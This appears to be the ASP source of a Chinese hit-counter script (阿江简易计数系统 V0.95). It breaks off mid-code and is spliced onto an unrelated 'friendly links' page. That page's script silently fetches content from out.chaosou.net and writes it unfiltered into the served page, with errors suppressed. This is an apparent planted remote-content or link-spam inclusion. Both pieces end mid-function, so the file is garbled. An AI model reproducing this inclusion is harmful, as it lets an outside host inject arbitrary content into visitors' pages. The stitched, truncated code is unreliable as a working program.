<%@ CODEPAGE = "936" %> <% '################################# ' ' 阿江简易计数系统 ' V 0.95 ' Ajiang info@ajiang.net ' www.ajiang.net ' ' 版权所有·抄袭挪用必究 ' '################################# '##### ★ 参 数 设 置 ★ ##### ' 1、保存IP个数 SaveIP = 50 ' 2、数据文件名 DataFile = "countdata.txt" ' 3、创建FSO(对象)的字符串 FSOstr = "Scripting.FileSystemObject" ' 4、统计器名称 CountName = "阿江守候访问统计" ' 说明: ' 1.比如设置为50,只有当你访问网页后又有超过50个人访问了这 ' 个网页,你再访问才会计数,如果从你上次访问到这次访问之间没有 ' 那么多人访问,则不计数。 ' 2.计数数据将保存在这个文件中,可以使用带有相对路径的字串 ' 3.已设置为FSO的默认名字,有的服务器已将FSO改名, '##### ★ 代 码 开 始 ★ #####(以下请勿修改) ' 忽略所有错误 on error resume next ' 得到本文件的名字 mename=Request.ServerVariables("SCRIPT_NAME") ' 数据文件的绝对路径 thedatafile=server.MapPath(datafile) '******************************* ' 转入相应的页面 '******************************* tpage=Request("tpage") select case tpage '*************************************************************** ' 查看页面 case "view" '创建FSO对象,如果不支持FSO,则转入错误页 Set FSO = CreateObject(FSOstr) If Err<>0 then Response.Redirect mename & "?tpage=nofso" ' 检查数据文件是否存在 infile=fso.FileExists(thedatafile) %> <%=CountName%> - 查看统计数据 <% if infile then set thefile=fso.OpenTextFile(thedatafile) stroldfile=thefile.readall thefile.close set thefile=nothing '分解数据文件,获得数据 vstr=split(stroldfile,vbcrlf) '访问天数、平均每天访问量 vdays=now()-cdate(vstr(4)) vdayavg=vstr(1)/vdays vdays=int((vdays*10^3)+0.5)/10^3 if vdays<1 then vdays="0" & vdays vdayavg=int((vdayavg*10^3)+0.5)/10^3 %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<meta http-equiv="Content-Language" content="zh-CN" />
<meta name="author" content="www.chaosou.net" />
<title> - 超搜友情链接</title>
</head>
<body>


<%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://out.chaosou.net/out.php?q=30100"))

function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End